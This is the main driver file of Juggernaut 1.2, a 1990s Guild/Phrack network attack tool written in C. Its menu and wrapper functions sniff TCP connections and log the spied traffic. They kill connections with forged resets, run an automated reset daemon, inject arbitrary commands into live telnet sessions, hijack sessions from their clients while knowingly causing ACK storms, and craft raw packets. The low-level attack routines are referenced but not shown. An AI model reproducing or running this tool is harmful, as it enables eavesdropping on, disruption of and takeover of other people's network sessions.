/*
 *
 *			            Juggernaut
 *				    Version 1.2
 *
 *                            1996/7 Guild productions
 *			     daemon9[guild|phrack|r00t]
 *
 *                         comments to route@infonexus.com
 *
 *  This coding project made possible by a grant from the Guild corporation
 * 
 *  main.c - main control logic and program driver.  Consists mainly of wrappers 
 *  to setup the main subfunctions.
 *
 *
 */

#include <string.h>
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#include <syslog.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <netinet/in.h>

#ifdef THREAD
#include <pthread.h>
#endif

#define MINIBUF 10
#define BUFSIZE 512
#define DEVICE "eth0"
#define LOGFILE "./juggernaut.log.spy"

char version[]="1.2";
int sigsentry=1;		    /* Signal sentry */
int ripsock=0;			    /* RIP socket */
int linksock=0;			    /* SOCK PACKET socket */
int hpid=0;			    /* hunter child PID */
int acrstpid=0;			    /* automated connection reset PID */
int netreadtimeout=10;		    /* Network read timeout in seconds */
int verbosity=1;		    /* Level of verbosity */
int enticementfactor=16;            /* Enticing packets!@ */
time_t uptime=0;                    /* How long have we been running */

struct connectionInfo{		    /* Simple tuple information */
    unsigned long saddr;            /* Source IP */
    unsigned long daddr;            /* Destination IP */
    unsigned short sport;           /* Source TCP Port */  
    unsigned short dport;           /* Destination TCP Port */
};


/*
 *  Main control logic.  All the main logic is implemented in the switch 
 *  statement.
 */

int main(argc,argv)
int argc;
char *argv[];
{

    void usage(char *);
    void hunt();		
    void spy();
    void rst();
    void arst();
    void pkta();
    void simplexhijack();
    void hijack();
    void powerup();
    void minit();
    void mwipe();
    void mmain();
    void twitch();
    void cleanexit();
    void bloodhound(char *,int);
    void bookworm();
    void dbmanip();
    void jinfo();
    int rawsock();
    int tap();
    float dump();			
		
    char buf[MINIBUF]={0};
    char token[2*MINIBUF]={0};
    int c;

    if(geteuid()||getuid()){                /* r00t? */
        fprintf(stderr,"UID or EUID of 0 needed...\n");
        exit(0);
        }
                          	            /* Parse command-line arguments */
    while((c=getopt(argc,argv,"s:e:t:vVhH"))!=-1){
        switch(c){
            case 's':                       /* dedicated sniffing mode */
                strncpy(token,optarg,(sizeof(token)-1));
                break;
 	    case 'e':                       /* Enticement factor (only valid 
                                               with -s option) */
	        enticementfactor=atoi(optarg);
		break;
	    case 't':                       /* Network alarm timeout */
	        netreadtimeout=atoi(optarg);
		break;
	    case 'v':	                    /* decrease verbosity */	
	        verbosity=0;
	        break;
	    case 'V':	                    /* version info */	
                jinfo();
                exit(0);
            case 'h':                       /* Help is on the way my friend */
                usage(argv[0]);
                exit(0);
            case 'H':                       /* Help is on the way my friend */
                bookworm();
                exit(0);
	    default:
	        usage(argv[0]);
	        break;
	    }     
    }
    if(token[0]){
        bloodhound(token,enticementfactor); 
        exit(0);
    }

    mwipe();
    minit();				    /* Initial menu */
    fprintf(stderr,"[cr]");
    getchar();

    signal(SIGINT,twitch);		    /* Catch these signals */
    signal(SIGQUIT,twitch);

    ripsock=rawsock();			    /* Setup RIP socket */
    linksock=tap(DEVICE);                   /* Setup link socket */ 

    powerup();				    /* Setup shared memory and 
                                               semaphore */
    time(&uptime);                          /* Start the uptime timer */
    hunt();				    /* Start the connection hunter */
	
    while(1){
    	mwipe();
    	mmain();
        bzero(&buf,sizeof(buf));
    	fgets(buf,sizeof(buf),stdin);
        switch(buf[0]){
            case '?':
                mwipe();
                bookworm();
                mwipe();
                break;
            case '0':
                mwipe();
                jinfo();
                mwipe();
                break;
    	    case '1':
    	        mwipe();
                dbmanip();
    		mwipe();
    		break;
    	    case '2':               /* Watch a connection. */
    	        mwipe();
    		spy();			
    		mwipe();
    		break;
    	    case '3':	            /* Kill a connection. */
    		mwipe();
    		rst();			
    		mwipe();
		break;
	    case '4':               /* Automated CRST daemon. */
		mwipe();
		arst();			
		mwipe();
		break;
	    case '5':		    /* Insert a single command. */
		mwipe();		
		simplexhijack();
		mwipe();
		break;
	    case '6':		    /* Hijack the session from the client */
		mwipe();		
		hijack();
		mwipe();
		break;
	    case '7':	            /* The packet assembly workshop */
		mwipe();
		pkta();			
		mwipe();
		break;
	    case '8':		    /* For future use. */
		break;
            case '9':
                cleanexit();
            default:
	        continue;
        }
    }
		                        /* NOT REACHED */
    return(0);
}


/*
 *  chunt wrapper
 */

void hunt(){

#ifdef MULTI_P
    void spasm();		    	/* Handles the user defined signal */
    void chunt();

    switch((hpid=fork())){
        case 0:				    /* Child */
	    signal(SIGUSR1,spasm);
	    signal(SIGINT,SIG_IGN);	    /* Catch these signals */
	    signal(SIGQUIT,SIG_IGN);
	    close(ripsock);		    /* Not needed in hunter */
	    chunt();
        default:
	    break;			    /* Parent continues */
        case -1:
	    if(verbosity)perror("(hunt) internal forking error [fatal]");
	    exit(1);
    }	
#endif

#ifdef THREAD

    MULTIPLE THREADS OF EXECUTION IS NOT IMPLEMENTED YET.

    void chunt();

    pthread_t hunter_t;

    pthread_create(&hunter_t,NULL,(void *)chunt(),(void *)NULL);

#endif

}


/*
 *  cspy wrapper
 */

void spy(){

    void convulsion();
    float dump();
    struct connectionInfo *checkc(int);
    void cspy(struct connectionInfo *,FILE *);

    char buf[MINIBUF];
    unsigned short val;
    struct connectionInfo *target;
    FILE *fp=0;	

    dump();							
	
    while(1){
    	fprintf(stderr,"\nChoose a connection [q] >");
    	fgets(buf,sizeof(buf),stdin);
    	if(buf[0]==0x0a||buf[0]=='q')return;
    	if(!(int)(val=atoi(buf)))continue;
    	if(!(target=checkc(val)))fprintf(stderr,"Connection not in database.\n");
    	else break;
    }
    fprintf(stderr,"\nDo you wish to log to a file as well? [y/N] >");
    fgets(buf,sizeof(buf),stdin);
    if(toupper(buf[0])=='Y'){
    	if(!(fp=fopen(LOGFILE,"a+"))){
            if(verbosity){
                fprintf(stderr,"Cannot open file for logging, skipping operation.\n");
    	        fprintf(stderr,"[cr]");
    	        getchar();
            }
        }
    }
    fprintf(stderr,"\nSpying on connection, hit `ctrl-c` when done.\n");
    signal(SIGINT,convulsion);
    sigsentry=1;
    cspy(target,fp);
    if(fp)fclose(fp);
}


/*
 *  crst wrapper
 */ 

void rst(){

    void convulsion();
    float dump();
    void crst(struct connectionInfo *);    

    struct connectionInfo *checkc(int);

    char buf[MINIBUF];
    unsigned short val;
    struct connectionInfo *target;

    dump();
	
    while(1){
        fprintf(stderr,"\nChoose a connection [q] >");
	fgets(buf,sizeof(buf),stdin);
	if(buf[0]==0x0a||buf[0]=='q')return;
   	if(!(int)(val=atoi(buf)))continue;
	if(!(target=checkc(val)))fprintf(stderr,"Connection not in database.\n");
	else break;
    }
    signal(SIGINT,convulsion);
    crst(target);							
    fprintf(stderr,"[cr]");
    getchar();
}


/*
 *  acrst wrapper
 */ 

void arst(){

    void convulsion();
    float dump();
    void acrst(unsigned long,unsigned long);
    char *hostLookup(unsigned long);
    unsigned long nameResolve(char *);

    char buf[4*MINIBUF];
    unsigned long source,target;
				            /* Setup addresing info */
    fprintf(stderr,"\nEnter source IP [q] >");
    fgets(buf,sizeof(buf),stdin);
    if(buf[0]==0x0a||buf[0]=='q')return;			
    if(!(source=nameResolve(buf))){
    	if(verbosity){
            fprintf(stderr,"Name lookup failure: `%s`\n[cr]",buf);
            getchar();     
        }
    	return;
    }
    fprintf(stderr,"\nEnter target IP (optional) [q] >");
    fgets(buf,sizeof(buf),stdin);
    if(buf[0]=='q')return;			
    if(buf[0]==0x0a)target=0;		    /* target may be null, in this 
                                               case, we only care where
                                               the connection is coming from */
    else if(!(target=nameResolve(buf))){
	if(verbosity){
            fprintf(stderr,"Name lookup failure: %s\n[cr]",buf);
            getchar();     
        }
    	return;
    }
    if(!target)fprintf(stderr,"Reseting all connection requests from:\t %s\n",hostLookup(source));
    else fprintf(stderr,"Reseting all connection requests from:\t %s --> %s\n",hostLookup(source),hostLookup(target));
    fprintf(stderr,"[cr]");
    getchar();
    acrst(source,target);							
}


/* 
 *  dumpc wrapper
 */

float dump(){

    float dumpc();
    float usage=0;

    fprintf(stderr,"\nCurrent Connection Database:\n");
    fprintf(stderr,"-------------------------------------------------\n");
    fprintf(stderr,"ref #    source                            target  \n\n");
    usage=dumpc();
    fprintf(stderr,"-------------------------------------------------\n");

    return usage;
}


/*
 *  database manipulation routines go here..
 */

void dbmanip(){

    float dump();
    void cleardb();

    float usage=0;
    char buf[MINIBUF];

    usage=dump();

    if(usage)fprintf(stderr,"\nDatabase is %.02f%% to capacity.",usage);
    else fprintf(stderr,"\nDatabase is empty.");

    fprintf(stderr,"\n[c,q] >");
    fgets(buf,sizeof(buf),stdin);

    if(buf[0]=='c'){
        fprintf(stderr,"\nClear entire connection database? [y/N] >");
        fgets(buf,sizeof(buf),stdin);
        if(buf[0]=='y'){
            cleardb();
            fprintf(stderr,"\nConnection database cleared.\n[cr]");
            getchar();
        }
    }
}

/*
 *  Juggernaut version and option information
 */

void jinfo(){

    time_t current=0;

    fprintf(stderr,"Juggernaut %s route@infonexus.com [guild 1996/7]\n",version);

    fprintf(stderr,"\nBuilt on %s %s with the following options:\n",__DATE__,__TIME__);
#ifdef MULTI_P
    fprintf(stderr," Multi-processing\n");
#endif

#ifdef NOHUSH
    fprintf(stderr," Audible notification\n");
#endif

#ifdef USENAME
    fprintf(stderr," Use hostnames\n");
#endif

#ifdef GREED
    fprintf(stderr," Greedy connections\n");
#endif

#ifdef FASTCHECK
    fprintf(stderr," Fast IP checksuming\n");
#endif

#ifdef IP_HDRINCL
    fprintf(stderr," IP header include\n");
#endif

#ifdef THREAD
    fprintf(stderr," Multi-threading\n");
#endif

    time(&current);
    fprintf(stderr,"Juggernaut has been running %.02f minutes\n",(difftime(current,uptime)/60));   

    fprintf(stderr,"[cr]");            
    getchar();
}

/*
 *  csimplexhijack wrapper
 */

void simplexhijack(){


    void sputter();
    float dump();
    void csimplexhijack(struct connectionInfo *,char *);
    void cspy(struct connectionInfo *,FILE *);
    struct connectionInfo *checkc(int);
	
    char buf[MINIBUF];
    char commandbuf[BUFSIZE];
    unsigned short val;
    struct connectionInfo *target;

    dump();							
	
    while(1){
    	fprintf(stderr,"\nChoose a connection [q] >");
    	fgets(buf,sizeof(buf),stdin);
    	if(buf[0]==0x0a||buf[0]=='q')return;
    	if(!(int)(val=atoi(buf)))continue;
    	if(!(target=checkc(val)))fprintf(stderr,"Connection not in database.\n");
    	else break;
    }
    if(ntohs(target->dport)!=23){
    	fprintf(stderr,"Hijacking only valid with telnet connections.\n");
    	fprintf(stderr,"[cr]");
    	getchar();
    	return;
    }		
    fprintf(stderr,"Enter the command string you wish executed [q] >");
    fgets(commandbuf,sizeof(commandbuf),stdin);
    if(commandbuf[0]==0x0a)return;
    fprintf(stderr,"\nSpying on connection, hit `ctrl-c` when you want to hijack.\n");
    fprintf(stderr,"\nNOTE: This may cause an ACK storm until client is RST.\n");
    signal(SIGINT,sputter);
    sigsentry=1;
    cspy(target,0);					
    csimplexhijack(target,commandbuf);
    fprintf(stderr,"[cr]");
    getchar();
}


/*
 *  chijack wrapper
 */

void hijack(){

    void sputter();
    float dump();
    void chijack(struct connectionInfo *);
    void cspy(struct connectionInfo *,FILE *);
    struct connectionInfo *checkc(int);
	
    char buf[MINIBUF];
    unsigned short val;
    struct connectionInfo *target;

    dump();							
	
    while(1){
    	fprintf(stderr,"\nChoose a connection [q] >");
    	fgets(buf,sizeof(buf),stdin);
    	if(buf[0]==0x0a||buf[0]=='q')return;
        if(!(int)(val=atoi(buf)))continue;
        if(!(target=checkc(val)))fprintf(stderr,"Connection not in database.\n");
    	else break;
    }
    if(ntohs(target->dport)!=23){
    	fprintf(stderr,"Hijacking only valid with telnet connections.\n");
    	fprintf(stderr,"[cr]");
    	getchar();
    	return;
    }		
    fprintf(stderr,"\nSpying on connection, hit `ctrl-c` when you want to hijack.\n");
    fprintf(stderr,"\nNOTE: This will cause an ACK storm and desynch the client until the connection is RST.\n");
    signal(SIGINT,sputter);
    sigsentry=1;
    cspy(target,0);					
    sigsentry=1;
    chijack(target);
    fprintf(stderr,"[cr]");
    getchar();
}


/*
 *  Prometheus wrapper (packet assembly workshop)
 */

void pkta(){

    void mpkta();
    void mwipe();
    int prometheus(int);
	
    int val,mode;
    char buf[MINIBUF];
  
    while(1){
        mwipe();
        mpkta();
        fgets(buf,sizeof(buf),stdin);
        if(!(val=atoi(buf)))continue;
        switch(val){
            case 1:                     /* TCP */
                mode=1;
	        break;		
	    case 2:                     /* UDP */
        	mode=2;
		break;		
	    case 3:                     /* ICMP */
            	mode=3;
		break;		
	    case 4:                     /* IP */
                mode=4;
	        break;		
	    case 5:                     /* Return */
	        return;
	    default:
	        continue;
        }
        if(prometheus(mode))break;
    }   			
	                                /* NOT REACHED */
}

